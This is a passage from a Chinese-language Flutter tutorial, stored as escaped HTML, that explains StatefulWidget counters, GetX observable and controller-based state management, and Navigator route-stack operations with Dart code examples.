class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e});\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"c1\"\u003e// 每当 setState 运行,部件状态被更新,这个函数会重新运行\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e \u003cspan class=\"c1\"\u003e// 更新适应这个状态的部件\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e \u003cspan class=\"err\"\u003e@\u003c/span\u003e\u003cspan class=\"n\"\u003eoverride\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"n\"\u003eWidget\u003c/span\u003e \u003cspan class=\"n\"\u003ebuild\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003eBuildContext\u003c/span\u003e \u003cspan class=\"n\"\u003econtext\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"k\"\u003ereturn\u003c/span\u003e \u003cspan class=\"n\"\u003eScaffold\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"nl\"\u003eappBar:\u003c/span\u003e \u003cspan class=\"n\"\u003eAppBar\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"nl\"\u003etitle:\u003c/span\u003e \u003cspan class=\"n\"\u003eText\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003ewidget\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003etitle\u003c/span\u003e\u003cspan class=\"p\"\u003e),\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e),\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"nl\"\u003ebody:\u003c/span\u003e \u003cspan class=\"n\"\u003eCenter\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"c1\"\u003e// 这里看不懂,建议看上面的组件\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e \u003cspan class=\"nl\"\u003echild:\u003c/span\u003e \u003cspan class=\"n\"\u003eColumn\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"nl\"\u003emainAxisAlignment:\u003c/span\u003e \u003cspan class=\"n\"\u003eMainAxisAlignment\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003ecenter\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"nl\"\u003echildren:\u003c/span\u003e \u003cspan class=\"o\"\u003e\u0026lt;\u003c/span\u003e\u003cspan class=\"n\"\u003eWidget\u003c/span\u003e\u003cspan class=\"o\"\u003e\u0026gt;\u003c/span\u003e\u003cspan class=\"p\"\u003e[\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"kd\"\u003econst\u003c/span\u003e \u003cspan class=\"n\"\u003eText\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"s1\"\u003e\u0026#39;You have pushed the button this many times:\u0026#39;\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e),\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"n\"\u003eText\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"s1\"\u003e\u0026#39;\u003c/span\u003e\u003cspan class=\"si\"\u003e$\u003c/span\u003e\u003cspan class=\"n\"\u003e_counter\u003c/span\u003e\u003cspan class=\"s1\"\u003e\u0026#39;\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"nl\"\u003estyle:\u003c/span\u003e \u003cspan class=\"n\"\u003eTheme\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eof\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003econtext\u003c/span\u003e\u003cspan class=\"p\"\u003e).\u003c/span\u003e\u003cspan class=\"n\"\u003etextTheme\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eheadlineMedium\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e),\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e],\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e),\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e),\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"nl\"\u003efloatingActionButton:\u003c/span\u003e \u003cspan class=\"n\"\u003eFloatingActionButton\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"c1\"\u003e// 注意这里,这个按钮按下的时候,会执行这个函数\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e \u003cspan class=\"nl\"\u003eonPressed:\u003c/span\u003e \u003cspan class=\"n\"\u003e_incrementCounter\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"nl\"\u003etooltip:\u003c/span\u003e \u003cspan class=\"s1\"\u003e\u0026#39;Increment\u0026#39;\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"nl\"\u003echild:\u003c/span\u003e \u003cspan class=\"kd\"\u003econst\u003c/span\u003e \u003cspan class=\"n\"\u003eIcon\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003eIcons\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eadd\u003c/span\u003e\u003cspan class=\"p\"\u003e),\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e),\u003c/span\u003e \n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003eStatefulWidget 适合于一个小部件内部短时状态的维护。如果我们要搞牵扯到许多部件,乃至于各个页面的共同状态,就很难办了。这里我要给大家介绍一个我日常在使用的状态管理器:GetX。\u003c/p\u003e\n\u003ch3 id=\"getx\"\u003eGetX\u003c/h3\u003e\n\u003cp\u003eGetX 是三个库的集合:状态管理,路由管理,和依赖管理。这里只关注状态管理。\u003c/p\u003e\n\u003ch4 id=\"getx-观察者模式状态管理\"\u003eGetX 观察者模式状态管理\u003c/h4\u003e\n\u003cp\u003e第一个状态管理使用的是obs-\u0026gt;观察者模式,我们记住这么几点:\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003e\n\u003cp\u003e在变量初始化的时候,初始化值的后面添加\u003ccode\u003e.obs\u003c/code\u003e来使其可观察化\u003c/p\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003e使用\u003ccode\u003eObx\u003c/code\u003e部件来渲染需要用到可观察化变量的部件\u003c/p\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003e使用平常的方法修改可观察化变量的值\u003c/p\u003e\n\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003e比如这个计数器应用:\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-dart\" data-lang=\"dart\"\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"k\"\u003eimport\u003c/span\u003e \u003cspan class=\"s1\"\u003e\u0026#39;package:flutter/material.dart\u0026#39;\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"k\"\u003eimport\u003c/span\u003e \u003cspan class=\"s1\"\u003e\u0026#39;package:get/get.dart\u0026#39;\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"kt\"\u003evoid\u003c/span\u003e \u003cspan class=\"n\"\u003emain\u003c/span\u003e\u003cspan class=\"p\"\u003e()\u003c/span\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"n\"\u003erunApp\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"kd\"\u003econst\u003c/span\u003e \u003cspan class=\"n\"\u003eMainApp\u003c/span\u003e\u003cspan class=\"p\"\u003e());\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e// 在 GetX 中,给变量添加 .obs 就可以使其被观察\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e// 这时,他的类型不再是值的类型了\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e\u003cspan class=\"kd\"\u003evar\u003c/span\u003e \u003cspan class=\"n\"\u003ecount\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"m\"\u003e0.\u003c/span\u003e\u003cspan class=\"n\"\u003eobs\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"kd\"\u003eclass\u003c/span\u003e \u003cspan class=\"nc\"\u003eMainApp\u003c/span\u003e \u003cspan class=\"kd\"\u003eextends\u003c/span\u003e \u003cspan class=\"n\"\u003eStatelessWidget\u003c/span\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"kd\"\u003econst\u003c/span\u003e \u003cspan class=\"n\"\u003eMainApp\u003c/span\u003e\u003cspan class=\"p\"\u003e({\u003c/span\u003e\u003cspan class=\"k\"\u003esuper\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003ekey\u003c/span\u003e\u003cspan class=\"p\"\u003e});\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"err\"\u003e@\u003c/span\u003e\u003cspan class=\"n\"\u003eoverride\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"n\"\u003eWidget\u003c/span\u003e \u003cspan class=\"n\"\u003ebuild\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003eBuildContext\u003c/span\u003e \u003cspan class=\"n\"\u003econtext\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"k\"\u003ereturn\u003c/span\u003e \u003cspan class=\"n\"\u003eMaterialApp\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"nl\"\u003ehome:\u003c/span\u003e \u003cspan class=\"n\"\u003eScaffold\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"c1\"\u003e// 注意这里 Obx 部件,他能获取对应的可观察部件\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e \u003cspan class=\"c1\"\u003e// GetX 保证这个寻找是相当快的\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e \u003cspan class=\"nl\"\u003eappBar:\u003c/span\u003e \u003cspan class=\"n\"\u003eAppBar\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"nl\"\u003etitle:\u003c/span\u003e \u003cspan class=\"n\"\u003eObx\u003c/span\u003e\u003cspan class=\"p\"\u003e(()\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u0026gt;\u003c/span\u003e \u003cspan class=\"n\"\u003eText\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"s2\"\u003e\u0026#34;Clicks: \u003c/span\u003e\u003cspan class=\"si\"\u003e$\u003c/span\u003e\u003cspan class=\"n\"\u003ecount\u003c/span\u003e\u003cspan class=\"s2\"\u003e\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e))),\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"nl\"\u003ebody:\u003c/span\u003e \u003cspan class=\"n\"\u003eCenter\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"nl\"\u003echild:\u003c/span\u003e \u003cspan class=\"n\"\u003eTextButton\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"nl\"\u003eonPressed:\u003c/span\u003e \u003cspan class=\"p\"\u003e()\u003c/span\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"c1\"\u003e// 这里没用 setState,仅仅对该可观察变量里面的值修改即可\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e \u003cspan class=\"n\"\u003ecount\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003evalue\u003c/span\u003e \u003cspan class=\"o\"\u003e+=\u003c/span\u003e \u003cspan class=\"m\"\u003e1\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e},\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"nl\"\u003echild:\u003c/span\u003e \u003cspan class=\"kd\"\u003econst\u003c/span\u003e \u003cspan class=\"n\"\u003eText\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"s2\"\u003e\u0026#34;Add it!\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"nl\"\u003estyle:\u003c/span\u003e \u003cspan class=\"n\"\u003eTextStyle\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"nl\"\u003efontSize:\u003c/span\u003e \u003cspan class=\"m\"\u003e18\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e),\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e),\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e),\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e),\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e),\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003ch4 id=\"getx-控制器类状态管理\"\u003eGetX 控制器类状态管理\u003c/h4\u003e\n\u003cp\u003e再给大家介绍一下\u003ccode\u003eGetxController\u003c/code\u003e,我 PDA 用的后者更多。\u003c/p\u003e\n\u003cp\u003e我先给大家介绍 MVC 架构,Model 模型,是说程序的功能。控制器是和视图View进行交流,View视图就是显示了。View 通过 Controller 获取 Model 中的东西。\u003c/p\u003e\n\u003cp\u003e每个 GetX Controller 都是继承 GetController 虚拟类的一个类。这个类里面,除了你要使用到的值和方法,还有两个方法:\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003e\n\u003cp\u003eonInit():在这个控制器初始化的时候使用。\u003c/p\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003eonReady():在这个控制器刚初始化(时间大约一帧后)运行,处理异步请求。\u003c/p\u003e\n\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003e在使用控制器的时候,我们可以直接用:\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-dart\" data-lang=\"dart\"\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"n\"\u003eGetBuilder\u003c/span\u003e\u003cspan class=\"o\"\u003e\u0026lt;\u003c/span\u003e\u003cspan class=\"n\"\u003eController\u003c/span\u003e\u003cspan class=\"o\"\u003e\u0026gt;\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"nl\"\u003ebuilder:\u003c/span\u003e \u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003ec\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u0026gt;\u003c/span\u003e \u003cspan class=\"n\"\u003eWidget\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003exxx\u003c/span\u003e\u003cspan class=\"p\"\u003e));\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003e建议阅读 Traintime PDA 代码中的\u003ccode\u003econtroller/sport_controller.dart\u003c/code\u003e,\u003ccode\u003erepository/xidian_sport/xidian_sport_session.dart\u003c/code\u003e,以及 page 下面关于体育部件的代码。以下这段展示的是我程序对应的模型各组成的部分。\u003c/p\u003e\n\u003cblockquote\u003e\n\u003cp\u003eController(GetX Controller) \u0026ndash; Model(Dio网络库) \u0026ndash; View(Flutter)\u003c/p\u003e\n\u003c/blockquote\u003e\n\u003ch2 id=\"杂项\"\u003e杂项\u003c/h2\u003e\n\u003ch3 id=\"路由栈\"\u003e路由栈\u003c/h3\u003e\n\u003cp\u003e栈是先进后出的结构,而路由栈里面,存的是每个页面的信息了。在 Flutter 中,我们这么处理路由栈:\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-dart\" data-lang=\"dart\"\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e// 这个是说压入路由栈,进入这个页面。\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e\u003cspan class=\"n\"\u003eNavigator\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eof\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003econtext\u003c/span\u003e\u003cspan class=\"p\"\u003e).\u003c/span\u003e\u003cspan class=\"n\"\u003epush\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003eroute\u003c/span\u003e\u003cspan class=\"o\"\u003e/\u003c/span\u003e\u003cspan class=\"n\"\u003ewidget\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e// 这个是说弹出路由栈的顶,也就是返回上一个页面\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e\u003cspan class=\"n\"\u003eNavigator\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eof\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003econtext\u003c/span\u003e\u003cspan class=\"p\"\u003e).\u003c/span\u003e\u003cspan class=\"n\"\u003epop\u003c/span\u003e\u003cspan class=\"p\"\u003e();\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e// 可以做到按需弹栈,然后压栈\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e\u003cspan class=\"n\"\u003eNavigator\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eof\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003econtext\u003c/span\u003e\u003cspan class=\"p\"\u003e).\u003c/span\u003e\u003cspan class=\"n\"\u003epushNamedAndRemoveUntil\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"n\"\u003eroute\u003c/span\u003e\u003cspan class=\"o\"\u003e/\u003c/span\u003e\u003cspan class=\"n\"\u003ewidget\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"c1\"\u003e// 弹栈之后要压入的\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e \u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003eRoute\u003c/span\u003e\u003cspan class=\"o\"\u003e\u0026lt;\u003c/span\u003e\u003cspan class=\"kt\"\u003edynamic\u003c/span\u003e\u003cspan class=\"o\"\u003e\u0026gt;\u003c/span\u003e \u003cspan class=\"n\"\u003eroute\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u0026gt;\u003c/span\u003e \u003cspan class=\"kc\"\u003efalse\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"c1\"\u003e// 这个是判断栈顶元素是否符合要求的函数\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan 